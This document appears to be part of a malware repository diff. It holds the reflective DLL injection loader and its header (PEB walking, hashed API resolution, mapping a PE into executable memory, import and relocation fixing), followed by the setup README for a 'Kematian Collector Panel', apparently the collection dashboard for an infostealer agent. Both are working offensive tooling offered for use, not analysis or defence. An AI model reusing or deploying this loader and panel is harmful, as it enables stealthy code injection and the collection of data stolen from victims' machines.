uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
|
||||
while (uiValueA)
|
||||
{
|
||||
// get pointer to current modules name (unicode string)
|
||||
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
|
||||
// set bCounter to the length for the loop
|
||||
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
|
||||
// clear uiValueC which will store the hash of the module name
|
||||
uiValueC = 0;
|
||||
|
||||
// compute the hash of the module name...
|
||||
do
|
||||
{
|
||||
uiValueC = ror((DWORD)uiValueC);
|
||||
// normalize to uppercase if the madule name is in lowercase
|
||||
if (*((BYTE*)uiValueB) >= 'a')
|
||||
uiValueC += *((BYTE*)uiValueB) - 0x20;
|
||||
else
|
||||
uiValueC += *((BYTE*)uiValueB);
|
||||
uiValueB++;
|
||||
} while (--usCounter);
|
||||
|
||||
// compare the hash with that of kernel32.dll
|
||||
if ((DWORD)uiValueC == KERNEL32DLL_HASH)
|
||||
{
|
||||
// get this modules base address
|
||||
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
|
||||
|
||||
usCounter = 3;
|
||||
|
||||
// loop while we still have imports to find
|
||||
while (usCounter > 0)
|
||||
{
|
||||
// compute the hash values for this function name
|
||||
dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
|
||||
{
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
|
||||
|
||||
// use this functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
|
||||
|
||||
// store this functions VA
|
||||
if (dwHashValue == LOADLIBRARYA_HASH)
|
||||
pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||
else if (dwHashValue == GETPROCADDRESS_HASH)
|
||||
pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||
else if (dwHashValue == VIRTUALALLOC_HASH)
|
||||
pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||
|
||||
// decrement our counter
|
||||
usCounter--;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
}
|
||||
else if ((DWORD)uiValueC == NTDLLDLL_HASH)
|
||||
{
|
||||
// get this modules base address
|
||||
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
|
||||
|
||||
usCounter = 1;
|
||||
|
||||
// loop while we still have imports to find
|
||||
while (usCounter > 0)
|
||||
{
|
||||
// compute the hash values for this function name
|
||||
dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
|
||||
{
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
|
||||
|
||||
// use this functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
|
||||
|
||||
// store this functions VA
|
||||
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
|
||||
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||
|
||||
// decrement our counter
|
||||
usCounter--;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
}
|
||||
|
||||
// we stop searching when we have found everything we need.
|
||||
if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache)
|
||||
break;
|
||||
|
||||
// get the next entry
|
||||
uiValueA = DEREF(uiValueA);
|
||||
}
|
||||
|
||||
// STEP 2: load our image into a new permanent location in memory...
|
||||
|
||||
// get the VA of the NT Header for the PE to be loaded
|
||||
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
|
||||
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
|
||||
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
|
||||
uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
// we must now copy over the headers
|
||||
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
|
||||
uiValueB = uiLibraryAddress;
|
||||
uiValueC = uiBaseAddress;
|
||||
|
||||
while (uiValueA--)
|
||||
*(BYTE*)uiValueC++ = *(BYTE*)uiValueB++;
|
||||
|
||||
// STEP 3: load in all of our sections...
|
||||
|
||||
// uiValueA = the VA of the first section
|
||||
uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
// itterate through all sections, loading them into memory.
|
||||
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
|
||||
while (uiValueE--)
|
||||
{
|
||||
// uiValueB is the VA for this section
|
||||
uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
|
||||
|
||||
// uiValueC if the VA for this sections data
|
||||
uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
|
||||
|
||||
// copy the section over
|
||||
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
|
||||
|
||||
while (uiValueD--)
|
||||
*(BYTE*)uiValueB++ = *(BYTE*)uiValueC++;
|
||||
|
||||
// get the VA of the next section
|
||||
uiValueA += sizeof(IMAGE_SECTION_HEADER);
|
||||
}
|
||||
|
||||
// STEP 4: process our images import table...
|
||||
|
||||
// uiValueB = the address of the import directory
|
||||
uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
||||
|
||||
// we assume their is an import table to process
|
||||
// uiValueC is the first entry in the import table
|
||||
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
|
||||
|
||||
// itterate through all imports
|
||||
while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
|
||||
{
|
||||
// use LoadLibraryA to load the imported module into memory
|
||||
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
|
||||
|
||||
// uiValueD = VA of the OriginalFirstThunk
|
||||
uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
|
||||
|
||||
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
|
||||
uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
|
||||
|
||||
// itterate through all imported functions, importing by ordinal if no name present
|
||||
while (DEREF(uiValueA))
|
||||
{
|
||||
// sanity check uiValueD as some compilers only import by FirstThunk
|
||||
if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
|
||||
{
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
|
||||
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
|
||||
|
||||
// use the import ordinal (- export ordinal base) as an index into the array of addresses
|
||||
uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
|
||||
|
||||
// patch in the address for this imported function
|
||||
DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
|
||||
}
|
||||
else
|
||||
{
|
||||
// get the VA of this functions import by name struct
|
||||
uiValueB = (uiBaseAddress + DEREF(uiValueA));
|
||||
|
||||
// use GetProcAddress and patch in the address for this imported function
|
||||
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
|
||||
}
|
||||
// get the next imported function
|
||||
uiValueA += sizeof(ULONG_PTR);
|
||||
if (uiValueD)
|
||||
uiValueD += sizeof(ULONG_PTR);
|
||||
}
|
||||
|
||||
// get the next import
|
||||
uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
|
||||
}
|
||||
|
||||
// STEP 5: process all of our images relocations...
|
||||
|
||||
// calculate the base address delta and perform relocations (even if we load at desired image base)
|
||||
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
|
||||
|
||||
// uiValueB = the address of the relocation directory
|
||||
uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
||||
|
||||
// check if their are any relocations present
|
||||
if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
|
||||
{
|
||||
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
|
||||
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
|
||||
|
||||
// and we itterate through all entries...
|
||||
while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
|
||||
{
|
||||
// uiValueA = the VA for this relocation block
|
||||
uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
|
||||
|
||||
// uiValueB = number of entries in this relocation block
|
||||
uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
|
||||
|
||||
// uiValueD is now the first entry in the current relocation block
|
||||
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
|
||||
|
||||
// we itterate through all the entries in the current block...
|
||||
while (uiValueB--)
|
||||
{
|
||||
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
|
||||
// we dont use a switch statement to avoid the compiler building a jump table
|
||||
// which would not be very position independent!
|
||||
if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
|
||||
*(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
|
||||
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
|
||||
*(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
|
||||
#ifdef WIN_ARM
|
||||
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
|
||||
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)
|
||||
{
|
||||
register DWORD dwInstruction;
|
||||
register DWORD dwAddress;
|
||||
register WORD wImm;
|
||||
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
|
||||
dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));
|
||||
// flip the words to get the instruction as expected
|
||||
dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
|
||||
// sanity chack we are processing a MOV instruction...
|
||||
if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)
|
||||
{
|
||||
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
|
||||
wImm = (WORD)(dwInstruction & 0x000000FF);
|
||||
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
|
||||
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
|
||||
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
|
||||
// apply the relocation to the target address
|
||||
dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;
|
||||
// now create a new instruction with the same opcode and register param.
|
||||
dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2);
|
||||
// patch in the relocated address...
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
|
||||
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
|
||||
// now flip the instructions words and patch back into the code...
|
||||
*(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
|
||||
}
|
||||
}
|
||||
#endif
|
||||
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
|
||||
*(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
|
||||
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
|
||||
*(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
|
||||
|
||||
// get the next entry in the current relocation block
|
||||
uiValueD += sizeof(IMAGE_RELOC);
|
||||
}
|
||||
|
||||
// get the next entry in the relocation directory
|
||||
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
|
||||
}
|
||||
}
|
||||
|
||||
// STEP 6: call our images entry point
|
||||
|
||||
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
|
||||
uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
|
||||
|
||||
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
|
||||
pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
|
||||
|
||||
// call our respective entry point, fudging our hInstance value
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
// Store the parameter globally so DllMain can access it
|
||||
g_lpReflectiveParameter = lpParameter;
|
||||
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
|
||||
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);
|
||||
#else
|
||||
// if we are injecting an DLL via a stub we call DllMain with no parameter
|
||||
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
|
||||
#endif
|
||||
|
||||
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
|
||||
return uiValueA;
|
||||
}
|
||||
//===============================================================================================//
|
||||
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
if (lpReserved != NULL)
|
||||
*(HMODULE*)lpReserved = hAppInstance;
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
||||
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
@@ -0,0 +1,215 @@
|
||||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <winsock2.h>
|
||||
#include <windows.h>
|
||||
|
||||
#ifdef _MSC_VER
|
||||
#include <intrin.h>
|
||||
#else
|
||||
// MinGW/GCC: _rotr lives in <stdlib.h>, __readgsqword in <intrin.h>
|
||||
#include <stdlib.h>
|
||||
#include <intrin.h>
|
||||
#endif
|
||||
|
||||
#include "ReflectiveDLLInjection.h"
|
||||
|
||||
typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);
|
||||
typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR);
|
||||
typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
|
||||
typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);
|
||||
|
||||
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||
#define NTDLLDLL_HASH 0x3CFA685D
|
||||
|
||||
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
|
||||
|
||||
#define IMAGE_REL_BASED_ARM_MOV32A 5
|
||||
#define IMAGE_REL_BASED_ARM_MOV32T 7
|
||||
|
||||
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
|
||||
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
|
||||
#define ARM_MOVW 0xF2400000
|
||||
#define ARM_MOVT 0xF2C00000
|
||||
|
||||
#define HASH_KEY 13
|
||||
//===============================================================================================//
|
||||
#ifdef _MSC_VER
|
||||
#pragma intrinsic( _rotr )
|
||||
#define RDI_INLINE __forceinline
|
||||
#else
|
||||
#define RDI_INLINE static inline __attribute__((always_inline))
|
||||
#endif
|
||||
|
||||
RDI_INLINE DWORD ror(DWORD d)
|
||||
{
|
||||
return _rotr(d, HASH_KEY);
|
||||
}
|
||||
|
||||
RDI_INLINE DWORD hash(char* c)
|
||||
{
|
||||
register DWORD h = 0;
|
||||
do
|
||||
{
|
||||
h = ror(h);
|
||||
h += *c;
|
||||
} while (*++c);
|
||||
|
||||
return h;
|
||||
}
|
||||
//===============================================================================================//
|
||||
typedef struct _UNICODE_STR
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR pBuffer;
|
||||
} UNICODE_STR, * PUNICODE_STR;
|
||||
|
||||
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
|
||||
//__declspec( align(8) )
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY
|
||||
{
|
||||
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STR FullDllName;
|
||||
UNICODE_STR BaseDllName;
|
||||
ULONG Flags;
|
||||
SHORT LoadCount;
|
||||
SHORT TlsIndex;
|
||||
LIST_ENTRY HashTableEntry;
|
||||
ULONG TimeDateStamp;
|
||||
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
|
||||
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
|
||||
{
|
||||
DWORD dwLength;
|
||||
DWORD dwInitialized;
|
||||
LPVOID lpSsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
LPVOID lpEntryInProgress;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
|
||||
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
|
||||
{
|
||||
struct _PEB_FREE_BLOCK* pNext;
|
||||
DWORD dwSize;
|
||||
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
|
||||
|
||||
// struct _PEB is defined in Winternl.h but it is incomplete
|
||||
// WinDbg> dt -v ntdll!_PEB
|
||||
typedef struct __PEB // 65 elements, 0x210 bytes
|
||||
{
|
||||
BYTE bInheritedAddressSpace;
|
||||
BYTE bReadImageFileExecOptions;
|
||||
BYTE bBeingDebugged;
|
||||
BYTE bSpareBool;
|
||||
LPVOID lpMutant;
|
||||
LPVOID lpImageBaseAddress;
|
||||
PPEB_LDR_DATA pLdr;
|
||||
LPVOID lpProcessParameters;
|
||||
LPVOID lpSubSystemData;
|
||||
LPVOID lpProcessHeap;
|
||||
PRTL_CRITICAL_SECTION pFastPebLock;
|
||||
LPVOID lpFastPebLockRoutine;
|
||||
LPVOID lpFastPebUnlockRoutine;
|
||||
DWORD dwEnvironmentUpdateCount;
|
||||
LPVOID lpKernelCallbackTable;
|
||||
DWORD dwSystemReserved;
|
||||
DWORD dwAtlThunkSListPtr32;
|
||||
PPEB_FREE_BLOCK pFreeList;
|
||||
DWORD dwTlsExpansionCounter;
|
||||
LPVOID lpTlsBitmap;
|
||||
DWORD dwTlsBitmapBits[2];
|
||||
LPVOID lpReadOnlySharedMemoryBase;
|
||||
LPVOID lpReadOnlySharedMemoryHeap;
|
||||
LPVOID lpReadOnlyStaticServerData;
|
||||
LPVOID lpAnsiCodePageData;
|
||||
LPVOID lpOemCodePageData;
|
||||
LPVOID lpUnicodeCaseTableData;
|
||||
DWORD dwNumberOfProcessors;
|
||||
DWORD dwNtGlobalFlag;
|
||||
LARGE_INTEGER liCriticalSectionTimeout;
|
||||
DWORD dwHeapSegmentReserve;
|
||||
DWORD dwHeapSegmentCommit;
|
||||
DWORD dwHeapDeCommitTotalFreeThreshold;
|
||||
DWORD dwHeapDeCommitFreeBlockThreshold;
|
||||
DWORD dwNumberOfHeaps;
|
||||
DWORD dwMaximumNumberOfHeaps;
|
||||
LPVOID lpProcessHeaps;
|
||||
LPVOID lpGdiSharedHandleTable;
|
||||
LPVOID lpProcessStarterHelper;
|
||||
DWORD dwGdiDCAttributeList;
|
||||
LPVOID lpLoaderLock;
|
||||
DWORD dwOSMajorVersion;
|
||||
DWORD dwOSMinorVersion;
|
||||
WORD wOSBuildNumber;
|
||||
WORD wOSCSDVersion;
|
||||
DWORD dwOSPlatformId;
|
||||
DWORD dwImageSubsystem;
|
||||
DWORD dwImageSubsystemMajorVersion;
|
||||
DWORD dwImageSubsystemMinorVersion;
|
||||
DWORD dwImageProcessAffinityMask;
|
||||
DWORD dwGdiHandleBuffer[34];
|
||||
LPVOID lpPostProcessInitRoutine;
|
||||
LPVOID lpTlsExpansionBitmap;
|
||||
DWORD dwTlsExpansionBitmapBits[32];
|
||||
DWORD dwSessionId;
|
||||
ULARGE_INTEGER liAppCompatFlags;
|
||||
ULARGE_INTEGER liAppCompatFlagsUser;
|
||||
LPVOID lppShimData;
|
||||
LPVOID lpAppCompatInfo;
|
||||
UNICODE_STR usCSDVersion;
|
||||
LPVOID lpActivationContextData;
|
||||
LPVOID lpProcessAssemblyStorageMap;
|
||||
LPVOID lpSystemDefaultActivationContextData;
|
||||
LPVOID lpSystemAssemblyStorageMap;
|
||||
DWORD dwMinimumStackCommit;
|
||||
} _PEB, * _PPEB;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
WORD offset : 12;
|
||||
WORD type : 4;
|
||||
} IMAGE_RELOC, * PIMAGE_RELOC;
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
+159
@@ -0,0 +1,159 @@
|
||||
# Kematian Collector Panel
|
||||
|
||||
Admin web dashboard + E2EE JSON ingest for the kematian-standalone agent.
|
||||
|
||||
## Setup
|
||||
|
||||
```bash
|
||||
cd panel
|
||||
pip install -r requirements.txt
|
||||
python app.py
|
||||
```
|
||||
|
||||
Open `http://localhost:5000/setup` to create the admin account, then log in.
|
||||
|
||||
Configure via env before running:
|
||||
|
||||
| Env var | Default | Purpose |
|
||||
|---------------------|------------------------------------------|----------------------------------|
|
||||
| `PANEL_SECRET` | `kematian-secret-CHANGE-ME` | Flask session signing key |
|
||||
| `PANEL_INGEST_KEY` | `CHANGE-ME` | Bearer token the agent must send |
|
||||
| `PANEL_PORT` | `5000` | Bind port |
|
||||
|
||||
**Change both secrets before exposing the panel.**
|
